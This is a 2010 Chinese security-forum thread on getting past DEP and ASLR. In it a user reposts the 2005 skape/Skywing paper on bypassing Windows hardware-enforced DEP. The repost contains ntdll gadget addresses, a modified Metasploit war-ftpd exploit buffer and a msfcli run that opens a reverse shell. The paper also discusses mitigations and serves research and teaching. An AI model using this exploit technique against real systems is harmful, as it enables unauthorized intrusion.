首页
社区
课程
招聘
[旧帖] [讨论]关于DEP及ASLR的突破方式 0.00雪花
2010-1-20 15:24 1848

[旧帖] [讨论]关于DEP及ASLR的突破方式 0.00雪花

2010-1-20 15:24
1848
由于软件及硬件升级,DEP及ASLR已经很好地防止传统溢出及利用溢出的网页挂马。当DEP保护机制被使用后,由于攻击代码是存放在系统的数据页面(堆栈页面上),那么函数返回时,指令寄存器EIP将跳转到攻击代码的入口地址。此时该页面是非可执行的(non-executable),于是DEP就会触发系统异常而导致程序中止。如果采用Ret2libc的方式,迂回攻击,攻击者设定的函数的返回地址并不直接指向攻击代码,而是指向一个已存在的系统函数的入口地址。由于系统函数所在的页面权限是可执行的,这样就不会触发DEP异常。这种方式的基础是固定的系统函数入口地址。ASLR(Address Space Layout Randomization)技术使得系统函数的地址在每次系统启动后变得不再相同,从而使Ret2libc攻击失去其基础。要想通过程序进程表结构来获得特定DLL的加载基址会触发DEP的异常保护,这样DEP及ASLR在一定程度上是相互形成闭环。这种防护是否是密不透风、没有缺陷的?我估计并非如此,大家一起讨论讨论!

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
免费 0
打赏
分享
最新回复 (4)
雪    币: 129
活跃值: (323)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
xed 2010-1-20 15:47
2
0
只看懂了10%
雪    币: 139
活跃值: (25)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
appleibm 2010-1-20 16:16
3
0
现转载一篇文章:Bypassing Windows Hardware-enforced Data Execution Prevention
Oct 2, 2005

skape (mmiller@hick.org)
Skywing (Skywing@valhallalegends.com)

One of the big changes that Microsoft introduced in Windows XP Service Pack 2
and Windows 2003 Server Service Pack 1 was support for a new feature called Data
Execution Prevention (DEP). This feature was added with the intention of doing
exactly what its name implies: preventing the execution of code in
non-executable memory regions. This is particulary important when it comes to
preventing the exploitation of most software vulnerabilities because most
exploits tend to rely on storing arbitrary code in what end up being
non-executable memory regions, such as a thread stack or a process heap. There
are other documented techniques for bypassing non-executable protections, such
as returning into ZwProtectVirtualMemory or doing a chained ret2libc style
attack, but these approaches tend to be more complicated and in many cases are
more restricted due to the need to use bytes (such as NULL bytes) that would
otherwise be unusable in common situations[1].

DEP itself is capable of functioning in two modes.  The first mode is referred
to as Software-enforced DEP.  It provides fairly limited support for preventing
the execution of code through exploits that take advantage of Structured
Exception Handler (SEH) overwrites.  Software-enforced DEP is used on
machines that are not capable of supporting true non-executable pages due to
inadequate hardware support.  Software-enforced DEP is also a compile-time only
change, and as such is typically limited to system libraries and select
third-party applications that have been recompiled to take advantage of it.
Bypassing this mode of DEP has been discussed before and is not the focus of
this document.

The second mode in which DEP can operate is referred to as Hardware-enforced
DEP.  This mode is a superset of software-enforced DEP and is used on hardware
that supports marking pages as non-executable. While most existing intel-based
hardware does not have this feature (due to legacy support for only marking
pages as readable or writable), newer chipsets are beginning to have true
hardware support through things like Page Address Extensions (PAE).
Hardware-enforced DEP is the most interesting of the two modes since it can be
seen as a truly mitigating factor to most common exploitation vectors.  The
bypass technique described in this document is designed to be used against
this mode.

Before describing the technique, it is prudent to understand the parameters
under which it will operate.  In this case, the technique is meant to provide a
way of executing code from regions of memory that would not typically be
executable when hardware-enforced DEP is in use, such as a thread stack or a
process heap.  This technique can be seen as a means of eliminating DEP from the
equation when it comes to writing exploits because the commonly used approach of
executing custom code from a writable memory address can still be used.
Furthermore, this technique is meant to be as generic as possible such that it
can be used in both existing and new exploits without major modifications.  With
the parameters set, the next requirement is to understand some of the new
features that compose hardware-enforced DEP.

When implementing support for DEP, Microsoft rightly realized that many existing
third-party applications might run into major compatibility issues due to
assumptions about whether or not a region of allocated memory is executable.  In
order to handle this situation, Microsoft designed DEP so that it could be
configured in a few different manners.  At the most general level, DEP is
designed to have a default parameter that indicates whether or not
non-executable protection is enabled only for system processes and custom
defined applications (OptIn), or whether it's enabled for everything except for
applications that are specifically exempted (OptOut).  These two flags are
passed to the kernel during boot through the /NoExecute option in boot.ini.
Furthermore, two other flags can be passed as part of the NoExecute option to
indicate that DEP should be AlwaysOn or AlwaysOff.  These two settings force a
flag to be set for each process that permanently enables or disables DEP.  The
default setting on Windows XP SP2 is OptIn, while the default setting on Windows
2003 Server SP1 is OptOut.

Aside from the global system parameter, DEP can also be enabled or disabled on a
per-process basis.  The disabling of non-executable (NX) support for a process
is determined at execution time.  To support this, a new internal routine was
added to ntdll.dll called LdrpCheckNXCompatibility.  This routine checks a few
different things to determine whether or not NX support should be enabled for
the process.  The routine itself is called whenever a DLL is loaded in the
context of a process through LdrpRunInitializationRoutines.  The first check it
performs is to see if a SafeDisc DLL is being loaded.  If it is, NX support is
flagged as needing to be disabled for the process.  The second check it performs
is to look in the application database for the process to see if NX support
should be disabled or enabled.  Lastly, it checks to see if the DLL that is
being loaded is flagged as having an NX incompatible section (such as .aspack,
.pcle, and .sforce).

As a result of these checks, NX support is either enabled or disabled through a
new PROCESSINFOCLASS named ProcessExecuteFlags (0x22).  When a call to
NtSetInformationProcess is issued with this information class, a four byte
bitmask is supplied as the buffer parameter. This bitmask is passed to
nt!MmSetExecuteOptions which performs the appropriate operation. Optionally, a
flag (MEM_EXECUTE_OPTION_PERMANENT, or 0x8) can also be specified as part of the
bitmask that indicates that future calls to the function should fail such that
the execute flags cannot be changed again.  To enable NX support, the
MEM_EXECUTE_OPTION_DISABLE flag (0x1) is specified. To disable NX support, the
MEM_EXECUTE_OPTION_ENABLE flag (0x2) is specified.  Depending on the state of
these per-process flags, execution of code from non-executable memory regions
will either be permitted (MEM_EXECUTE_OPTION_ENABLE) or denied
(MEM_EXECUTE_OPTION_DISABLE).

If it were in some way possible for an attacker to change the execution flags of
a process that is being exploited, then it follows that the attacker would be
able to execute code from previously non-executable memory regions.  In order to
do this, though, the attacker would have to run code from regions of memory that
are already executable.  As chance would have it, there happen to be useful
executable memory regions, and they exist at the same address in every process
[2].

To take advantage of this feature, an attacker must somehow cause
NtSetInformationProcess to be called with the ProcessExecuteFlags information
class.  Furthermore, the ProcessInformation parameter must be set to a bitmask
that has the MEM_EXECUTE_OPTION_ENABLE bit set, but not the
MEM_EXECUTE_OPTION_DISABLE bit set. The following code illustrates a call to
this function that would disable NX support for the calling process:

ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;

NtSetInformationProcess(
    NtCurrentProcess(),    // (HANDLE)-1
    ProcessExecuteFlags,   // 0x22
    &ExecuteFlags,         // ptr to 0x2
    sizeof(ExecuteFlags)); // 0x4

One method of accomplishing this would be to use a ret2libc derived attack
whereby control flow is transferred into the NtSetInformationProcess function
with an attacker-controlled frame set up on the stack.  In this case, the
arguments described to the right in the above code snippet would have to be set
up on the stack so that they would be interpreted correctly when
NtSetInformationProcess begins executing.  The biggest drawback to this approach
is that it would require NULL bytes to be usable as part of the buffer that is
used for the overflow.  Generally speaking, this will not be possible,
especially with any overflow that is caused through the use of a string
function.  However, when possible, this approach can certainly be useful.

Though a direct return into NtSetInformationProcess may not be universally
feasible, another technique can be used that lends itself to being more
generally applicable.  Under this approach, the attacker can take advantage of
code that already exists within ntdll for disabling NX support for a process.
By returning into a specific chunk of code, it is possible to disable NX support
just as ntdll would while still being able to transfer control back into a
user-controlled buffer.  The one limitation, however, is that the attacker be
able to control the stack in a way similar to most ret2libc style attacks, but
without the need to control arguments.

The first step in this process is to cause control to be transferred to a
location in memory that performs an operation that is equivalent to a mov al,
0x1 / ret combination.  Many instances of similar instructions exist (xor eax,
eax/inc eax/ret; mov eax, 1/ret; etc).  One such instance can be found in the
ntdll!NtdllOkayToLockRoutine function.

ntdll!NtdllOkayToLockRoutine:
7c952080 b001             mov     al,0x1
7c952082 c20400           ret     0x4

This will cause the low byte of eax to be set to one for reasons that will
become apparent in the next step.  Once control is transferred to the mov
instruction, and then subsequently the ret instruction, the attacker must have
set up the stack in such a way that the ret instruction actually returns into
another segment of code inside ntdll.  Specifically, it should return part of
the way into the ntdll!LdrpCheckNXCompatibility routine.

ntdll!LdrpCheckNXCompatibility+0x13:
7c91d3f8 3c01             cmp     al,0x1
7c91d3fa 6a02             push    0x2
7c91d3fc 5e               pop     esi
7c91d3fd 0f84b72a0200     je   ntdll!LdrpCheckNXCompatibility+0x1a (7c93feba)

In this block, a check is made to see if the low byte of eax is set to one.
Regardless of whether or not it is, esi is initialized to hold the value 2.
After that, a check is made to see if the zero flag is set (as would be the case
if the low byte of eax is 1).  Since this code will be executed after the first
mov al, 0x1 / ret set of instructions, the ZF flag will always be set, thus
transferring control to 0x7c93feba.

ntdll!LdrpCheckNXCompatibility+0x1a:
7c93feba 8975fc           mov     [ebp-0x4],esi
7c93febd e941d5fdff       jmp  ntdll!LdrpCheckNXCompatibility+0x1d (7c91d403)

This block sets a local variable to the contents of esi, which in this case is
2.  Afterwards, it transfers to control to 0x7c91d403.

ntdll!LdrpCheckNXCompatibility+0x1d:
7c91d403 837dfc00         cmp     dword ptr [ebp-0x4],0x0
7c91d407 0f8560890100     jne  ntdll!LdrpCheckNXCompatibility+0x4d (7c935d6d)

This block, in turn, compares the local variable that was just initialized to 2
with 0.  If it's not zero (which it won't be), control is transferred to
0x7c935d6d.

ntdll!LdrpCheckNXCompatibility+0x4d:
7c935d6d 6a04             push    0x4
7c935d6f 8d45fc           lea     eax,[ebp-0x4]
7c935d72 50               push    eax
7c935d73 6a22             push    0x22
7c935d75 6aff             push    0xff
7c935d77 e8b188fdff       call    ntdll!ZwSetInformationProcess (7c90e62d)
7c935d7c e9c076feff       jmp  ntdll!LdrpCheckNXCompatibility+0x5c (7c91d441)

It's at this point that things begin to get interesting.  In this block, a call
is issued to NtSetInformationProcess with the ProcessExecuteFlags information
class.  The ProcessInformation parameter pointer is passed which was previously
initialized to 2 [3]. This results in NX support being disabled for the process.
After the call completes, it transfers control to 0x7c91d441.

ntdll!LdrpCheckNXCompatibility+0x5c:
7c91d441 5e               pop     esi
7c91d442 c9               leave
7c91d443 c20400           ret     0x4

Finally, this block simply restores saved registers, issues a leave instruction,
and returns to the caller.  In this case, the attacker will have set up the
frame in such a way that the ret instruction actually returns into a general
purpose instruction that transfers control into a controllable buffer that
contains the arbitrary code to be executed now that NX support has been
disabled.

This approach requires the knowledge of three addresses.  First, the address of
the mov al, 0x1 / ret equivalent must be known.  Fortunately, there are many
occurrences of this type of block, though they may not be as simplistic as the
one described in this document.  Second, the address of the start of the cmp al,
0x1 block inside ntdll!LdrpCheckNXCompatibility must be known. By depending on
two addresses within ntdll, it stands to reason that an exploit can be more
portable than if one were to depend on addresses from two different DLLs.
Finally, the third address is the one that would be the one that is typically
used on targets that didn't have hardware-enforced DEP, such as a jmp esp or
equivalent instruction depending on the vulnerability in question.

Aside from specific address limitations, this approach also relies on the fact
that ebp is pointed to a valid, writable address such that the value that
indicates that NX support should be disabled can be temporarily stored.  This
can be accomplished a few different ways, depending on the vulnerability, so it
is not seen as a largely limiting factor.

To test this approach, the authors modified the warftpd_165_user exploit from
the Metasploit Framework that was written by Fairuzan Roslan.  This
vulnerability is a simple stack overflow.  Prior to our modifications, the
exploit was implemented in the following manner:

my $evil = $self->MakeNops(1024);
substr($evil, 485, 4, pack("V", $target->[1]));
substr($evil, 600, length($shellcode), $shellcode);

This code built a NOP sled of 1024 bytes.  At byte index 485, the return address
was stored after which point the shellcode was appended [4].  When run against a target
that supports hardware-enforced DEP, the exploit fails when it tries to execute
the first instruction of the NOP sled because the region of memory (the thread
stack) is marked as non-executable.

Applying the technique described above, the authors changed the exploit to send
a buffer structured as follows:

my $evil = "\xcc" x 485;
$evil .= "\x80\x20\x95\x7c";
$evil .= "\xff\xff\xff\xff";
$evil .= "\xf8\xd3\x91\x7c";
$evil .= "\xff\xff\xff\xff";
$evil .= "\xcc" x 0x54;
$evil .= pack("V", $target->[1]);
$evil .= $shellcode;
$evil .= "\xcc" x (1024 - length($evil));

In this case, a buffer was built that contained 485 int3 instructions. From
there, the buffer was set to overwrite the return address with a pointer to
ntdll!NtdllOkayToLockRoutine.  Since this routine does a retn 0x4, the next four
bytes are padding as a fake argument that is popped off the stack.  Once
NtdllOkayToLockRoutine returns, the stack would point 493 bytes into the evil
buffer that is being built (immediately after the 0x7c952080 return address
overwrite and the fake argument).  This means that NtdllOkayToLockRoutine would
return into 0x7c91d3f8.  This block of code is what evaluates the low byte of
eax and eventually leads to the disabling of NX support for the process.  Once
completed, the block pops saved registers off the stack and issues a leave
instruction, moving the stack pointer to where ebp currently points.  In this
case, ebp was 0x54 bytes away from esp, so we inserted 0x54 bytes of padding.
Once the block does this, the stack pointer will point 577 bytes into the evil
buffer (immediately after the 0x54 bytes of padding).  This means that it will
return into whatever address is stored at this location.  In this case, the
buffer is populated such that it simply returns into the target-specified return
address (which is a jmp esp equivalent instruction).  From there, the jmp esp
instruction is executed which transfers control into the shellcode that
immediately follows it.  Once executed, the exploit works as if nothing had
changed:

$ ./msfcli warftpd_165_user_dep RHOST=192.168.244.128 RPORT=4446 \
  LHOST=192.168.244.2 LPORT=4444 PAYLOAD=win32_reverse TARGET=2 E
  • Starting Reverse Handler.
  • Trying Windows XP SP2 English using return address 0x71ab9372....
  • 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
  • Sending evil buffer....
  • Got connection from 192.168.244.2:4444 <-> 192.168.244.128:46638

  • Microsoft Windows XP [Version 5.1.2600]
    (C) Copyright 1985-2001 Microsoft Corp.

    C:\Program Files\War-ftpd>

    As can be seen, the technique described in this document outlines a feasible
    method that can be used to circumvent the security enhancements provided by
    hardware-enforced DEP in the default installations of Windows XP Service Pack 2
    and Windows 2003 Server Service Pack 1. The flaw itself is not related to any
    specific inefficiency or mistake made during the actual implementation of
    hardware-enforced DEP support, but instead is a side effect of a design decision
    by Microsoft to provide a mechanism for disabling NX support for a process from
    within a user-mode process.  Had it been the case that there was no mechanism by
    which NX support could be disabled at runtime from within a process, the
    approaches outlined in this document would not be feasible.

    In the interest of not presenting a problem without also describing a solution,
    the authors have identified a few different ways in which Microsoft might be
    able to solve this.  To prevent this approach, it is first necessary to identify
    the things that it depends on.  First and foremost, the technique depends on
    knowing the location of three separate addresses.  Second, it depends on the
    feature being exposed that allows a user-mode process to disable NX support for
    itself.  Finally, it depends on the ability to control the stack in a manner
    that allows it perform a ret2libc style attack [5].

    The first dependency could be broken by instituting some form of Address Space
    Layout Randomization that would thereby make the location of the dependent code
    blocks unknown to an attacker.  The second dependency could be broken by moving
    the logic that controls the enabling and disabling of a process' NX support to
    kernel-mode such that it cannot be influenced in such a direct manner.  This
    approach is slightly challenging considering the model that it is currently
    implemented under requires the ability to disable NX support when certain events
    (such as the loading of an incompatible DLL) occur. Although it may be more
    challenging, the authors see this as being the most feasible approach in terms
    of compatibility.  Lastly, the final dependency is not really something that
    Microsoft can control. Aside from these potential solutions, it might also be
    possible to come up with a way to make it so the permanent flag is set sooner in
    the process' initialization, though the authors are not sure of a way in which
    this could be made possible without breaking support for disabling when certain
    DLLs are loaded.

    In closing, the authors would like to make a special point to indicate that
    Microsoft has done an excellent job in raising the bar with their security
    improvements in XP Serivce Pack 2.  The technique outlined in this document
    should not be seen as a case of Microsoft failing to implement something
    securely, as the provisions are certainly there to deploy hardware-enforced DEP
    in a secure fashion, but instead might be better viewed as a concession that was
    made to ensure that application compatibility was retained for the general case.
    There is almost always a trade-off when it comes to providing new security
    features in the face of potential compatibility problems, and it can be said
    that perhaps no company other than Microsoft is more well known for retaining
    backward compatibility.

    Footnotes

    [1] There are other documented techniques for bypassing non-executable
        protections, such as returning into ZwProtectVirtualMemory or doing a chained
        ret2libc style attack, but these approaches tend to be more complicated and in
        many cases are more restricted due to the need to use bytes (such as NULL
        bytes) that would otherwise be unusable in common situations.

    [2] With a few parameters that will be discussed later.

    [3] The reason this has to point to 2 and not some integer that has just the low
        byte set to 2 is because nt!MmSetExecutionOptions has a check to ensure that the
        unused bits are not set.

    [4] In reality, it may not be the return address that is being overwritten, but
        instead might be a function pointer.  The fact that it is at a misaligned
        address lends credence to this fact, though it is certainly not a clear
        indication.

    [5] This is possible even when an SEH overwrite is leveraged, given the right
        conditions.  The basic approach is to locate a pop reg, pop reg, pop esp, ret
        instruction set in a region that is not protected by SafeSEH (such as a
        third-party DLL that was not compiled with /GS).  The pop esp shifts the stack
        to the start of the EstablisherFrame that is controlled by the attacker and the
        ret returns into the address stored within the overwritten Next pointer.  If one
        were to set the Next pointer to the location of the NtdllOkayToLockRoutine and
        the stack were set up as explained above, the technique used to bypass
        hardware-enforced DEP that is described in this document could be made to work.

    Bibliography
    雪    币: 139
    活跃值: (25)
    能力值: ( LV3,RANK:30 )
    在线值:
    发帖
    回帖
    粉丝
    appleibm 2010-1-20 16:19
    4
    0
    由于无法在ODAY的读书论坛发帖,所以发在此处供大家一起讨论。2楼看一下看雪论坛打造的ODAY这本书就会明白了,这本书很容易懂。
    雪    币: 1
    活跃值: (10)
    能力值: ( LV2,RANK:10 )
    在线值:
    发帖
    回帖
    粉丝
    冬去秋来 2010-1-20 21:16
    5
    0
    就慢慢的学好了
    游客
    登录 | 注册 方可回帖
    返回